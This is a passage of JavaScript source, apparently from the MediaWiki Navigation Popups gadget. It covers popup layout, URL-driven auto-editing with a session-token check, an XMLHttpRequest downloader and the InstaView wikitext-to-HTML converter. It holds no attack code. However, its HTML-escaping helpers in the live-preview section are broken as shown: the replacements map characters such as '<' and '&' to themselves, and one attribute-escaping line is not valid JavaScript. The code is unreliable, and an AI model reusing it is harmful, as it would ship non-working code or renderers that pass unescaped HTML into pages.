return pg.structures.menus.popupTopLinks(x, true);
};
pg.structures.shortmenus.popupRedirTopLinks = pg.structures.shortmenus.popupTopLinks;
pg.structures.lite = {};
pg.structures.lite.popupLayout = function () {
return ['popupTitle', 'popupPreview'];
};
pg.structures.lite.popupTitle = function (x) {
log(x.article + ': structures.lite.popupTitle');
//return navlinkStringToHTML('<b><<mainlink>></b>',x.article,x.params);
return '<div><span class="popup_mainlink"><b>' + x.article.toString() + '</b></span></div>';
};
// ENDFILE: structures.js
// STARTFILE: autoedit.js
function substitute(data, cmdBody) {
// alert('sub\nfrom: '+cmdBody.from+'\nto: '+cmdBody.to+'\nflags: '+cmdBody.flags);
const fromRe = RegExp(cmdBody.from, cmdBody.flags);
return data.replace(fromRe, cmdBody.to);
}
function execCmds(data, cmdList) {
for (let i = 0; i < cmdList.length; ++i) {
data = cmdList[i].action(data, cmdList[i]);
}
return data;
}
function parseCmd(str) {
// returns a list of commands
if (!str.length) {
return [];
}
let p = false;
switch (str.charAt(0)) {
case 's':
p = parseSubstitute(str);
break;
default:
return false;
}
if (p) {
return [p].concat(parseCmd(p.remainder));
}
return false;
}
// FIXME: Only used once here, confusing with native (and more widely-used) unescape, should probably be replaced
// Then again, unescape is semi-soft-deprecated, so we should look into replacing that too
function unEscape(str, sep) {
return str
.split('\\\\')
.join('\\')
.split('\\' + sep)
.join(sep)
.split('\\n')
.join('\n');
}
function parseSubstitute(str) {
// takes a string like s/a/b/flags;othercmds and parses it
let from, to, flags, tmp;
if (str.length < 4) {
return false;
}
const sep = str.charAt(1);
str = str.substring(2);
tmp = skipOver(str, sep);
if (tmp) {
from = tmp.segment;
str = tmp.remainder;
} else {
return false;
}
tmp = skipOver(str, sep);
if (tmp) {
to = tmp.segment;
str = tmp.remainder;
} else {
return false;
}
flags = '';
if (str.length) {
tmp = skipOver(str, ';') || skipToEnd(str, ';');
if (tmp) {
flags = tmp.segment;
str = tmp.remainder;
}
}
return {
action: substitute,
from: from,
to: to,
flags: flags,
remainder: str,
};
}
function skipOver(str, sep) {
const endSegment = findNext(str, sep);
if (endSegment < 0) {
return false;
}
const segment = unEscape(str.substring(0, endSegment), sep);
return { segment: segment, remainder: str.substring(endSegment + 1) };
}
/*eslint-disable*/
function skipToEnd(str, sep) {
return { segment: str, remainder: '' };
}
/*eslint-enable */
function findNext(str, ch) {
for (let i = 0; i < str.length; ++i) {
if (str.charAt(i) == '\\') {
i += 2;
}
if (str.charAt(i) == ch) {
return i;
}
}
return -1;
}
function setCheckbox(param, box) {
const val = mw.util.getParamValue(param);
if (val) {
switch (val) {
case '1':
case 'yes':
case 'true':
box.checked = true;
break;
case '0':
case 'no':
case 'false':
box.checked = false;
}
}
}
function autoEdit() {
setupPopups(() => {
if (mw.util.getParamValue('autoimpl') !== popupString('autoedit_version')) {
return false;
}
if (
mw.util.getParamValue('autowatchlist') &&
mw.util.getParamValue('actoken') === autoClickToken()
) {
pg.fn.modifyWatchlist(mw.util.getParamValue('title'), mw.util.getParamValue('action'));
}
if (!document.editform) {
return false;
}
if (autoEdit.alreadyRan) {
return false;
}
autoEdit.alreadyRan = true;
const cmdString = mw.util.getParamValue('autoedit');
if (cmdString) {
try {
const editbox = document.editform.wpTextbox1;
const cmdList = parseCmd(cmdString);
const input = editbox.value;
const output = execCmds(input, cmdList);
editbox.value = output;
} catch (dang) {
return;
}
// wikEd user script compatibility
if (typeof wikEdUseWikEd != 'undefined') {
if (wikEdUseWikEd === true) {
WikEdUpdateFrame();
}
}
}
setCheckbox('autominor', document.editform.wpMinoredit);
setCheckbox('autowatch', document.editform.wpWatchthis);
const rvid = mw.util.getParamValue('autorv');
if (rvid) {
const url =
pg.wiki.apiwikibase +
'?action=query&format=json&formatversion=2&prop=revisions&revids=' +
rvid;
startDownload(url, null, autoEdit2);
} else {
autoEdit2();
}
});
}
function autoEdit2(d) {
let summary = mw.util.getParamValue('autosummary');
let summaryprompt = mw.util.getParamValue('autosummaryprompt');
let summarynotice = '';
if (d && d.data && mw.util.getParamValue('autorv')) {
const s = getRvSummary(summary, d.data);
if (s === false) {
summaryprompt = true;
summarynotice = popupString(
'Failed to get revision information, please edit manually.\n\n'
);
summary = simplePrintf(summary, [
mw.util.getParamValue('autorv'),
'(unknown)',
'(unknown)',
]);
} else {
summary = s;
}
}
if (summaryprompt) {
const txt =
summarynotice + popupString('Enter a non-empty edit summary or press cancel to abort');
const response = prompt(txt, summary);
if (response) {
summary = response;
} else {
return;
}
}
if (summary) {
document.editform.wpSummary.value = summary;
}
// Attempt to avoid possible premature clicking of the save button
// (maybe delays in updates to the DOM are to blame?? or a red herring)
setTimeout(autoEdit3, 100);
}
function autoClickToken() {
return mw.user.sessionId();
}
function autoEdit3() {
if (mw.util.getParamValue('actoken') != autoClickToken()) {
return;
}
const btn = mw.util.getParamValue('autoclick');
if (btn) {
if (document.editform && document.editform[btn]) {
const button = document.editform[btn];
const msg = tprintf(
'The %s button has been automatically clicked. Please wait for the next page to load.',
[button.value]
);
bannerMessage(msg);
document.title = '(' + document.title + ')';
button.click();
} else {
alert(
tprintf('Could not find button %s. Please check the settings in your javascript file.', [
btn,
])
);
}
}
}
function bannerMessage(s) {
const headings = document.getElementsByTagName('h1');
if (headings) {
const div = document.createElement('div');
div.innerHTML = '<font size=+1><b>' + pg.escapeQuotesHTML(s) + '</b></font>';
headings[0].parentNode.insertBefore(div, headings[0]);
}
}
function getRvSummary(template, json) {
try {
const o = getJsObj(json);
const edit = anyChild(o.query.pages).revisions[0];
const timestamp = edit.timestamp
.split(/[A-Z]/g)
.join(' ')
.replace(/^ *| *$/g, '');
return simplePrintf(template, [
edit.revid,
timestamp,
edit.userhidden ? '(hidden)' : edit.user,
]);
} catch (badness) {
return false;
}
}
// ENDFILE: autoedit.js
// STARTFILE: downloader.js
/**
* @file
* {@link Downloader}, a xmlhttprequest wrapper, and helper functions.
*/
/**
* Creates a new Downloader
*
* @constructor
* @class The Downloader class. Create a new instance of this class to download stuff.
* @param {string} url The url to download. This can be omitted and supplied later.
*/
function Downloader(url) {
if (typeof XMLHttpRequest != 'undefined') {
this.http = new XMLHttpRequest();
}
/**
* The url to download
*
* @type {string}
*/
this.url = url;
/**
* A universally unique ID number
*
* @type {number}
*/
this.id = null;
/**
* Modification date, to be culled from the incoming headers
*
* @type {Date}
* @private
*/
this.lastModified = null;
/**
* What to do when the download completes successfully
*
* @type {Function}
* @private
*/
this.callbackFunction = null;
/**
* What to do on failure
*
* @type {Function}
* @private
*/
this.onFailure = null;
/**
* Flag set on <code>abort</code>
*
* @type {boolean}
*/
this.aborted = false;
/**
* HTTP method. See https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html for
* possibilities.
*
* @type {string}
*/
this.method = 'GET';
/**
* Async flag.
*
* @type {boolean}
*/
this.async = true;
}
new Downloader();
/** Submits the http request. */
Downloader.prototype.send = function (x) {
if (!this.http) {
return null;
}
return this.http.send(x);
};
/** Aborts the download, setting the <code>aborted</code> field to true. */
Downloader.prototype.abort = function () {
if (!this.http) {
return null;
}
this.aborted = true;
return this.http.abort();
};
/** Returns the downloaded data. */
Downloader.prototype.getData = function () {
if (!this.http) {
return null;
}
return this.http.responseText;
};
/** Prepares the download. */
Downloader.prototype.setTarget = function () {
if (!this.http) {
return null;
}
this.http.open(this.method, this.url, this.async);
this.http.setRequestHeader('Api-User-Agent', pg.api.userAgent);
};
/** Gets the state of the download. */
Downloader.prototype.getReadyState = function () {
if (!this.http) {
return null;
}
return this.http.readyState;
};
pg.misc.downloadsInProgress = {};
/**
* Starts the download.
* Note that setTarget {@link Downloader#setTarget} must be run first
*/
Downloader.prototype.start = function () {
if (!this.http) {
return;
}
pg.misc.downloadsInProgress[this.id] = this;
this.http.send(null);
};
/**
* Gets the 'Last-Modified' date from the download headers.
* Should be run after the download completes.
* Returns <code>null</code> on failure.
*
* @return {Date}
*/
Downloader.prototype.getLastModifiedDate = function () {
if (!this.http) {
return null;
}
let lastmod = null;
try {
lastmod = this.http.getResponseHeader('Last-Modified');
} catch (err) {}
if (lastmod) {
return new Date(lastmod);
}
return null;
};
/**
* Sets the callback function.
*
* @param {Function} f callback function, called as <code>f(this)</code> on success
*/
Downloader.prototype.setCallback = function (f) {
if (!this.http) {
return;
}
this.http.onreadystatechange = f;
};
Downloader.prototype.getStatus = function () {
if (!this.http) {
return null;
}
return this.http.status;
};
//////////////////////////////////////////////////
// helper functions
/**
* Creates a new {@link Downloader} and prepares it for action.
*
* @param {string} url The url to download
* @param {number} id The ID of the {@link Downloader} object
* @param {Function} callback The callback function invoked on success
* @return {string|Downloader} the {@link Downloader} object created, or 'ohdear' if an unsupported browser
*/
function newDownload(url, id, callback, onfailure) {
const d = new Downloader(url);
if (!d.http) {
return 'ohdear';
}
d.id = id;
d.setTarget();
if (!onfailure) {
onfailure = 2;
}
const f = function () {
if (d.getReadyState() == 4) {
delete pg.misc.downloadsInProgress[this.id];
try {
if (d.getStatus() == 200) {
d.data = d.getData();
d.lastModified = d.getLastModifiedDate();
callback(d);
} else if (typeof onfailure == typeof 1) {
if (onfailure > 0) {
// retry
newDownload(url, id, callback, onfailure - 1);
}
} else if (typeof onfailure === 'function') {
onfailure(d, url, id, callback);
}
} catch (somerr) {
/* ignore it */
}
}
};
d.setCallback(f);
return d;
}
/**
* Simulates a download from cached data.
* The supplied data is put into a {@link Downloader} as if it had downloaded it.
*
* @param {string} url The url.
* @param {number} id The ID.
* @param {Function} callback The callback, which is invoked immediately as <code>callback(d)</code>,
* where <code>d</code> is the new {@link Downloader}.
* @param {string} data The (cached) data.
* @param {Date} lastModified The (cached) last modified date.
*/
function fakeDownload(url, id, callback, data, lastModified, owner) {
const d = newDownload(url, callback);
d.owner = owner;
d.id = id;
d.data = data;
d.lastModified = lastModified;
return callback(d);
}
/**
* Starts a download.
*
* @param {string} url The url to download
* @param {number} id The ID of the {@link Downloader} object
* @param {Function} callback The callback function invoked on success
* @return {string|Downloader} the {@link Downloader} object created, or 'ohdear' if an unsupported browser
*/
function startDownload(url, id, callback) {
const d = newDownload(url, id, callback);
if (typeof d == typeof '') {
return d;
}
d.start();
return d;
}
/**
* Aborts all downloads which have been started.
*/
function abortAllDownloads() {
for (const x in pg.misc.downloadsInProgress) {
try {
pg.misc.downloadsInProgress[x].aborted = true;
pg.misc.downloadsInProgress[x].abort();
delete pg.misc.downloadsInProgress[x];
} catch (e) {}
}
}
// ENDFILE: downloader.js
// STARTFILE: livepreview.js
// TODO: location is often not correct (eg relative links in previews)
// NOTE: removed md5 and image and math parsing. was broken, lots of bytes.
/**
* InstaView - a Mediawiki to HTML converter in JavaScript
* Version 0.6.1
* Copyright (C) Pedro Fayolle 2005-2006
* https://en.wikipedia.org/wiki/User:Pilaf
* Distributed under the BSD license
*
* Changelog:
*
* 0.6.1
* - Fixed problem caused by \r characters
* - Improved inline formatting parser
*
* 0.6
* - Changed name to InstaView
* - Some major code reorganizations and factored out some common functions
* - Handled conversion of relative links (i.e. [[/foo]])
* - Fixed misrendering of adjacent definition list items
* - Fixed bug in table headings handling
* - Changed date format in signatures to reflect Mediawiki's
* - Fixed handling of [[:Image:...]]
* - Updated MD5 function (hopefully it will work with UTF-8)
* - Fixed bug in handling of links inside images
*
* To do:
* - Better support for math tags
* - Full support for <nowiki>
* - Parser-based (as opposed to RegExp-based) inline wikicode handling (make it one-pass and
* bullet-proof)
* - Support for templates (through AJAX)
* - Support for coloured links (AJAX)
*/
const Insta = {};
function setupLivePreview() {
// options
Insta.conf = {
baseUrl: '',
user: {},
wiki: {
lang: pg.wiki.lang,
interwiki: pg.wiki.interwiki,
default_thumb_width: 180,
},
paths: {
articles: pg.wiki.articlePath + '/',
// Only used for Insta previews with images. (not in popups)
math: '/math/',
images: '//upload.wikimedia.org/wikipedia/en/', // FIXME getImageUrlStart(pg.wiki.hostname),
images_fallback: '//upload.wikimedia.org/wikipedia/commons/',
},
locale: {
user: mw.config.get('wgFormattedNamespaces')[pg.nsUserId],
image: mw.config.get('wgFormattedNamespaces')[pg.nsImageId],
category: mw.config.get('wgFormattedNamespaces')[pg.nsCategoryId],
// shouldn't be used in popup previews, i think
months: [
'Jan',
'Feb',
'Mar',
'Apr',
'May',
'Jun',
'Jul',
'Aug',
'Sep',
'Oct',
'Nov',
'Dec',
],
},
};
// options with default values or backreferences
Insta.conf.user.name = Insta.conf.user.name || 'Wikipedian';
Insta.conf.user.signature =
'[[' +
Insta.conf.locale.user +
':' +
Insta.conf.user.name +
'|' +
Insta.conf.user.name +
']]';
//Insta.conf.paths.images = '//upload.wikimedia.org/wikipedia/' + Insta.conf.wiki.lang + '/';
// define constants
Insta.BLOCK_IMAGE = new RegExp(
'^\\[\\[(?:File|Image|' +
Insta.conf.locale.image +
'):.*?\\|.*?(?:frame|thumbnail|thumb|none|right|left|center)',
'i'
);
}
Insta.dump = function (from, to) {
if (typeof from == 'string') {
from = document.getElementById(from);
}
if (typeof to == 'string') {
to = document.getElementById(to);
}
to.innerHTML = this.convert(from.value);
};
Insta.convert = function (wiki) {
let ll = typeof wiki == 'string' ? wiki.replace(/\r/g, '').split(/\n/) : wiki, // lines of wikicode
o = '', // output
p = 0, // para flag
r; // result of passing a regexp to compareLineStringOrReg()
// some shorthands
function remain() {
return ll.length;
}
function sh() {
return ll.shift();
} // shift
function ps(s) {
o += s;
} // push
// similar to C's printf, uses ? as placeholders, ?? to escape question marks
function f() {
let i = 1,
a = arguments,
f = a[0],
o = '',
c,
p;
for (; i < a.length; i++) {
if ((p = f.indexOf('?')) + 1) {
// allow character escaping
i -= c = f.charAt(p + 1) == '?' ? 1 : 0;
o += f.substring(0, p) + (c ? '?' : a[i]);
f = f.substr(p + 1 + c);
} else {
break;
}
}
return o + f;
}
function html_entities(s) {
return s.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>');
}
// Wiki text parsing to html is a nightmare.
// The below functions deliberately don't escape the ampersand since this would make it more
// difficult, and we don't absolutely need to for how we need it. This means that any
// unescaped ampersands in wikitext will remain unescaped and can cause invalid HTML.
// Browsers should all be able to handle it though. We also escape significant wikimarkup
// characters to prevent further matching on the processed text.
function htmlescape_text(s) {
return s
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/:/g, ':')
.replace(/\[/g, '[')
.replace(/]/g, ']');
}
function htmlescape_attr(s) {
return htmlescape_text(s).replace(/'/g, ''').replace(/"/g, '"');
}
// return the first non matching character position between two strings
function str_imatch(a, b) {
for (var i = 0, l = Math.min(a.length, b.length); i < l; i++) {
if (a.charAt(i) != b.charAt(i)) {
break;
}
}
return i;
}
// compare current line against a string or regexp
// if passed a string it will compare only the first string.length characters
// if passed a regexp the result is stored in r
function compareLineStringOrReg(c) {
return typeof c == 'string' ?
ll[0] && ll[0].substr(0, c.length) == c :
(r = ll[0] && ll[0].match(c));
}
function compareLineString(c) {
return ll[0] == c;
} // compare current line against a string
function charAtPoint(p) {
return ll[0].charAt(p);
} // return char at pos p
function endl(s) {
ps(s);
sh();
}
function parse_list() {
let prev = '';
while (remain() && compareLineStringOrReg(/^([*#:;]+)(.*)$/)) {
const l_match = r;
sh();
const ipos = str_imatch(prev, l_match[1]);
// close uncontinued lists
for (let prevPos = prev.length - 1; prevPos >= ipos; prevPos--) {
const pi = prev.charAt(prevPos);
if (pi == '*') {
ps('</ul>');
} else if (pi == '#') {
ps('</ol>');
}
// close a dl only if the new item is not a dl item (:, ; or empty)
else if ($.inArray(l_match[1].charAt(prevPos), ['', '*', '#'])) {
ps('</dl>');
}
}
// open new lists
for (let matchPos = ipos; matchPos < l_match[1].length; matchPos++) {
const li = l_match[1].charAt(matchPos);
if (li == '*') {
ps('<ul>');
} else if (li == '#') {
ps('<ol>');
}
// open a new dl only if the prev item is not a dl item (:, ; or empty)
else if ($.inArray(prev.charAt(matchPos), ['', '*', '#'])) {
ps('<dl>');
}
}
switch (l_match[1].charAt(l_match[1].length - 1)) {
case '*':
case '#':
ps('<li>' + parse_inline_nowiki(l_match[2]));
break;
case ';':
ps('<dt>');
var dt_match = l_match[2].match(/(.*?)(:.*?)$/);
// handle ;dt :dd format
if (dt_match) {
ps(parse_inline_nowiki(dt_match[1]));
ll.unshift(dt_match[2]);
} else {
ps(parse_inline_nowiki(l_match[2]));
}
break;
case ':':
ps('<dd>' + parse_inline_nowiki(l_match[2]));
}
prev = l_match[1];
}
// close remaining lists
for (let i = prev.length - 1; i >= 0; i--) {
ps(f('</?>', prev.charAt(i) == '*' ? 'ul' : prev.charAt(i) == '#' ? 'ol' : 'dl'));
}
}
function parse_table() {
endl(f('<table>', compareLineStringOrReg(/^\{\|( .*)$/) ? r[1] : ''));
for (; remain(); ) {
if (compareLineStringOrReg('|')) {
switch (charAtPoint(1)) {
case '}':
endl('</table>');
return;
case '-':
endl(f('<tr>', compareLineStringOrReg(/\|-*(.*)/)[1]));
break;
default:
parse_table_data();
}
} else if (compareLineStringOrReg('!')) {
parse_table_data();
} else {
sh();
}
}
}
function parse_table_data() {
let td_line, match_i;
// 1: "|+", '|' or '+'
// 2: ??
// 3: attributes ??
// TODO: finish commenting this regexp
const td_match = sh().match(/^(\|\+|\||!)((?:([^[|]*?)\|(?!\|))?(.*))$/);
if (td_match[1] == '|+') {
ps('<caption');
} else {
ps('<t' + (td_match[1] == '|' ? 'd' : 'h'));
}
if (typeof td_match[3] != 'undefined') {
//ps(' ' + td_match[3])
match_i = 4;
} else {
match_i = 2;
}
ps('>');
if (td_match[1] != '|+') {
// use || or !! as a cell separator depending on context
// NOTE: when split() is passed a regexp make sure to use non-capturing brackets
td_line = td_match[match_i].split(td_match[1] == '|' ? '||' : /(?:\|\||!!)/);
ps(parse_inline_nowiki(td_line.shift()));
while (td_line.length) {
ll.unshift(td_match[1] + td_line.pop());
}
} else {
ps(parse_inline_nowiki(td_match[match_i]));
}
let tc = 0,
td = [];
while (remain()) {
td.push(sh());
if (compareLineStringOrReg('|')) {
if (!tc) {
break;
}
// we're at the outer-most level (no nested tables), skip to td parse
else if (charAtPoint(1) == '}') {
tc--;
}
} else if (!tc && compareLineStringOrReg('!')) {
break;
} else if (compareLineStringOrReg('{|')) {
tc++;
}
}
if (td.length) {
ps(Insta.convert(td));
}
}
function parse_pre() {
ps('<pre>');
do {
endl(parse_inline_nowiki(ll[0].substring(1)) + '\n');
} while (remain() && compareLineStringOrReg(' '));
ps('</pre>');
}
function parse_block_image() {
ps(parse_image(sh()));
}
function parse_image(str) {
// get what's in between "[[Image:" and "]]"
let tag = str.substring(str.indexOf(':') + 1, str.length - 2);
let width;
let attr = [],
filename,
caption = '';
let thumb = 0,
frame = 0,
center = 0;
let align = '';
if (tag.match(/\|/)) {
// manage nested links
let nesting = 0;
let last_attr;
for (let i = tag.length - 1; i > 0; i--) {
if (tag.charAt(i) == '|' && !nesting) {
last_attr = tag.substr(i + 1);
tag = tag.substring(0, i);
break;
} else {
switch (tag.substr(i - 1, 2)) {
case ']]':
nesting++;
i--;
break;
case '[[':
nesting--;
i--;
}
}
}
attr = tag.split(/\s*\|\s*/);
attr.push(last_attr);
filename = attr.shift();
let w_match;
for (; attr.length; attr.shift()) {
w_match = attr[0].match(/^(\d*)(?:[px]*\d*)?px$/);
if (w_match) {
width = w_match[1];
} else {
switch (attr[0]) {
case 'thumb':
case 'thumbnail':
thumb = true;
frame = true;
break;
case 'frame':
frame = true;
break;
case 'none':
case 'right':
case 'left':
center = false;
align = attr[0];
break;
case 'center':
center = true;
align = 'none';
break;
default:
if (attr.length == 1) {
caption = attr[0];
}
}
}
}
} else {
filename = tag;
}
return '';
}
function parse_inline_nowiki(str) {
let start,
lastend = 0;
let substart = 0,
nestlev = 0,
open,
close,
subloop;
let html = '';
while ((start = str.indexOf('<nowiki>', substart)) != -1) {
html += parse_inline_wiki(str.substring(lastend, start));
start += 8;
substart = start;
subloop = true;
do {
open = str.indexOf('<nowiki>', substart);
close = str.indexOf('</nowiki>', substart);
if (close <= open || open == -1) {
if (close == -1) {
return html + html_entities(str.substr(start));
}
substart = close + 9;
if (nestlev) {
nestlev--;
} else {
lastend = substart;
html += html_entities(str.substring(start, lastend - 9));
subloop = false;
}
} else {
substart = open + 8;
nestlev++;
}
} while (subloop);
}
return html + parse_inline_wiki(str.substr(lastend));
}
function parse_inline_images(str) {
let start,
substart = 0,
nestlev = 0;
let loop, close, open, wiki, html;
while ((start = str.indexOf('[[', substart)) != -1) {
if (
str.substr(start + 2).match(RegExp('^(Image|File|' + Insta.conf.locale.image + '):', 'i'))
) {
loop = true;
substart = start;
do {
substart += 2;
close = str.indexOf(']]', substart);
open = str.indexOf('[[', substart);
if (close <= open || open == -1) {
if (close == -1) {
return str;
}
substart = close;
if (nestlev) {
nestlev--;
} else {
wiki = str.substring(start, close + 2);
html = parse_image(wiki);
str = str.replace(wiki, html);
substart = start + html.length;
loop = false;
}
} else {
substart = open;
nestlev++;
}
} while (loop);
} else {
break;
}
}
return str;
}
// the output of this function doesn't respect the FILO structure of HTML
// but since most browsers can handle it I'll save myself the hassle
function parse_inline_formatting(str) {
let italic,
bold,
i,
li,
o = '';
while ((i = str.indexOf("''", li)) + 1) {
o += str.substring(li, i);
li = i + 2;
if (str.charAt(i + 2) == "'") {
li++;
bold = !bold;
o += bold ? '<b>' : '</b>';
} else {
italic = !italic;
o += italic ? '<i>' : '</i>';
}
}
return o + str.substr(li);
}
function parse_inline_wiki(str) {
str = parse_inline_images(str);
// math
str = str.replace(/<(?:)math>(.*?)<\/math>/gi, '');
// Build a Mediawiki-formatted date string
let date = new Date();
let minutes = date.getUTCMinutes();
if (minutes < 10) {
minutes = '0' + minutes;
}
date = f(
'?:?, ? ? ? (UTC)',
date.getUTCHours(),
minutes,
date.getUTCDate(),
Insta.conf.locale.months[date.getUTCMonth()],
date.getUTCFullYear()
);
// text formatting
str =
str
// signatures
.replace(/~{5}(?!~)/g, date)
.replace(/~{4}(?!~)/g, Insta.conf.user.name + ' ' + date)
.replace(/~{3}(?!~)/g, Insta.conf.user.name)
// [[:Category:...]], [[:Image:...]], etc...
.replace(
RegExp(
'\\[\\[:((?:' +
Insta.conf.locale.category +
'|Image|File|' +
Insta.conf.locale.image +
'|' +
Insta.conf.wiki.interwiki +
'):[^|]*?)\\]\\](\\w*)',
'gi'
),
($0, $1, $2) => f(
"<a href='?'>?</a>",
Insta.conf.paths.articles + htmlescape_attr($1),
htmlescape_text($1) + htmlescape_text($2)
)
)
// remove straight category and interwiki tags
.replace(
RegExp(
'\\[\\[(?:' +
Insta.conf.locale.category +
'|' +
Insta.conf.wiki.interwiki +
'):.*?\\]\\]',
'gi'
),
''
)
// [[:Category:...|Links]], [[:Image:...|Links]], etc...
.replace(
RegExp(
'\\[\\[:((?:' +
Insta.conf.locale.category +
'|Image|File|' +
Insta.conf.locale.image +
'|' +
Insta.conf.wiki.interwiki +
'):.*?)\\|([^\\]]+?)\\]\\](\\w*)',
'gi'
),
($0, $1, $2, $3) => f(
"<a href='?'>?</a>",
Insta.conf.paths.articles + htmlescape_attr($1),
htmlescape_text($2) + htmlescape_text($3)
)
)
// [[/Relative links]]
.replace(/\[\[(\/[^|]*?)\]\]/g, ($0, $1) => f(
"<a href='?'>?</a>",
Insta.conf.baseUrl + htmlescape_attr($1),
htmlescape_text($1)
))
// [[/Replaced|Relative links]]
.replace(/\[\[(\/.*?)\|(.+?)\]\]/g, ($0, $1, $2) => f(
"<a href='?'>?</a>",
Insta.conf.baseUrl + htmlescape_attr($1),
htmlescape_text($2)
))
// [[Common links]]
.replace(/\[\[([^[|]*?)\]\](\w*)/g, ($0, $1, $2) => f(
"<a href='?'>?</a>",
Insta.conf.paths.articles + htmlescape_attr($1),
htmlescape_text($1) + htmlescape_text($2)
))
// [[Replaced|Links]]
.replace(/\[\[([^[]*?)\|([^\]]+?)\]\](\w*)/g, ($0, $1, $2, $3) => f(
"<a href='?'>?</a>",
Insta.conf.paths.articles + htmlescape_attr($1),
htmlescape_text($2) + htmlescape_text($3)
))
// [[Stripped:Namespace|Namespace]]
.replace(/\[\[([^\]]*?:)?(.*?)( *\(.*?\))?\|\]\]/g, ($0, $1, $2, $3) => f(
"<a href='?'>?</a>",
Insta.conf.paths.articles +
htmlescape_attr($1) +
htmlescape_attr($2) +
htmlescape_attr($3),
htmlescape_text($2)
))
// External links
.replace(
/\[(https?|news|ftp|mailto|gopher|irc):(\/*)([^\]]*?) (.*?)\]/g,
($0, $1, $2, $3, $4) => f(
"<a class='external' href='?:?'>?</a>",
htmlescape_attr($1),
htmlescape_attr($2) + htmlescape_attr($3),
htmlescape_text($4)
)
)
.replace(/\[http:\/\/(.*?)\]/g, ($0, $1) => f("<a class='external' href='http://?'>[#]</a>", htmlescape_attr($1)))
.replace(/\[(news|ftp|mailto|gopher|irc):(\/*)(.*?)\]/g, ($0, $1, $2, $3) => f(
"<a class='external' href='?:?'>?:?</a>",
htmlescape_attr($1),
htmlescape_attr($2) + htmlescape_attr($3),
htmlescape_text($1),
htmlescape_text($2) + htmlescape_text($3)
))
.replace(
/(^| )(https?|news|ftp|mailto|gopher|irc):(\/*)([^ $]*[^.,!?;: $])/g,
($0, $1, $2, $3, $4) => f(
"?<a class='external' href='?:?'>?:?</a>",
htmlescape_text($1),
htmlescape_attr($2),
htmlescape_attr($3) + htmlescape_attr($4),
htmlescape_text($2),
htmlescape_text($3) + htmlescape_text($4)
)
)
.replace('__NOTOC__', '')
.replace('__NOINDEX__', '')
.replace('__INDEX__', '')
.replace('__NOEDITSECTION__', '');
return parse_inline_formatting(str);
}
// begin parsing
for (; remain(); ) {
if (compareLineStringOrReg(/^(={1,6})(.*)\1(.*)$/)) {
p = 0;
endl(f('<h?>?</h?>?', r[1].length, parse_inline_nowiki(r[2]), r[1].length, r[3]));
} else if (compareLineStringOrReg(/^[*#:;]/)) {
p = 0;
parse_list();
} else if (compareLineStringOrReg(' ')) {
p = 0;
parse_pre();
} else if (compareLineStringOrReg('{|')) {
p = 0;
parse_table();
} else if (compareLineStringOrReg(/^----+$/)) {
p = 0;
endl('<hr />');
} else if (compareLineStringOrReg(Insta.BLOCK_IMAGE)) {
p = 0;
parse_block_image();
} else {
// handle paragraphs
if (compareLineString('')) {
p = remain() > 1 && ll[1] === '';
if (p) {
endl('<p><br>');
}
} else {
if (!p) {
ps('<p>');
p = 1;
}
ps(parse_inline_nowiki(ll[0]) + ' ');
}
sh();
}
}
return o;
};
function wiki2html(txt, baseurl) {
Insta.conf.baseUrl = baseurl;
return Insta.convert(txt);
}
// ENDFILE: livepreview.js
// STARTFILE: pageinfo.js
function popupFilterPageSize(data) {
return formatBytes(data.length);
}
function popupFilterCountLinks(data) {
const num = countLinks(data);
return String(num) + ' ' + (num != 1 ? popupString('wikiLinks') : popupString('wikiLink'));
}
function popupFilterCountImages(data) {
const num = countImages(data);
return String(num) + ' ' + (num != 1 ? popupString('images') : popupString('image'));
}
function popupFilterCountCategories(data) {
const num = countCategories(data);
return (
String(num) + ' ' + (num != 1 ? popupString('categories') : popupString('category'))
);
}
function popupFilterLastModified(data, download) {
const lastmod = download.lastModified;
const now = new Date();
const age = now - lastmod;
if (lastmod && getValueOf('popupLastModified')) {
return tprintf('%s old', [formatAge(age)]).replace(/ /g, ' ');
}
return '';
}
function popupFilterWikibaseItem(data, download) {
return download.wikibaseItem ?
tprintf('<a href="%s">%s</a>', [
download.wikibaseRepo.replace(/\$1/g, download.wikibaseItem),
download.wikibaseItem,
]) :
'';
}
function formatAge(age) {
// coerce into a number
let a = 0 + age,
aa = a;
const seclen = 1000;
const minlen = 60 * seclen;
const hourlen = 60 * minlen;
const daylen = 24 * hourlen;
const weeklen = 7 * daylen;
const numweeks = (a - (a % weeklen)) / weeklen;
a = a - numweeks * weeklen;
const sweeks = addunit(numweeks, 'week');
const numdays = (a - (a % daylen)) / daylen;
a = a - numdays * daylen;
const sdays = addunit(numdays, 'day');
const numhours = (a - (a % hourlen)) / hourlen;
a = a - numhours * hourlen;
const shours = addunit(numhours, 'hour');
const nummins = (a - (a % minlen)) / minlen;
a = a - nummins * minlen;
const smins = addunit(nummins, 'minute');
const numsecs = (a - (a % seclen)) / seclen;
a = a - numsecs * seclen;
const ssecs = addunit(numsecs, 'second');
if (aa > 4 * weeklen) {
return sweeks;
}
if (aa > weeklen) {
return sweeks + ' ' + sdays;
}
if (aa > daylen) {
return sdays + ' ' + shours;
}
if (aa > 6 * hourlen) {
return shours;
}
if (aa > hourlen) {
return shours + ' ' + smins;
}
if (aa > 10 * minlen) {
return smins;
}
if (aa > minlen) {
return smins + ' ' + ssecs;
}
return ssecs;
}
function addunit(num, str) {
return String(num) + ' ' + (num != 1 ? popupString(str + 's') : popupString(str));
}
function runPopupFilters(list, data, download) {
const ret = [];
for (let i = 0; i < list.length; ++i) {
if (list[i] && typeof list[i] == 'function') {
const s = list[i](data, download, download.owner.article);
if (s) {
ret.push(s);
}
}
}
return ret;
}
function getPageInfo(data, download) {
if (!data || data.length === 0) {
return popupString('Empty page');
}
const popupFilters = getValueOf('popupFilters') || [];
const extraPopupFilters = getValueOf('extraPopupFilters') || [];
const pageInfoArray = runPopupFilters(popupFilters.concat(extraPopupFilters), data, download);
let pageInfo = pageInfoArray.join(', ');
if (pageInfo !== '') {
pageInfo = upcaseFirst(pageInfo);
}
return pageInfo;
}
// this could be improved!
function countLinks(wikiText) {
return wikiText.split('[[').length - 1;
}
// if N = # matches, n = # brackets, then
// String.parenSplit(regex) intersperses the N+1 split elements
// with Nn other elements. So total length is
// L= N+1 + Nn = N(n+1)+1. So N=(L-1)/(n+1).
function countImages(wikiText) {
return (wikiText.parenSplit(pg.re.image).length - 1) / (pg.re.imageBracketCount + 1);
}
function countCategories(wikiText) {
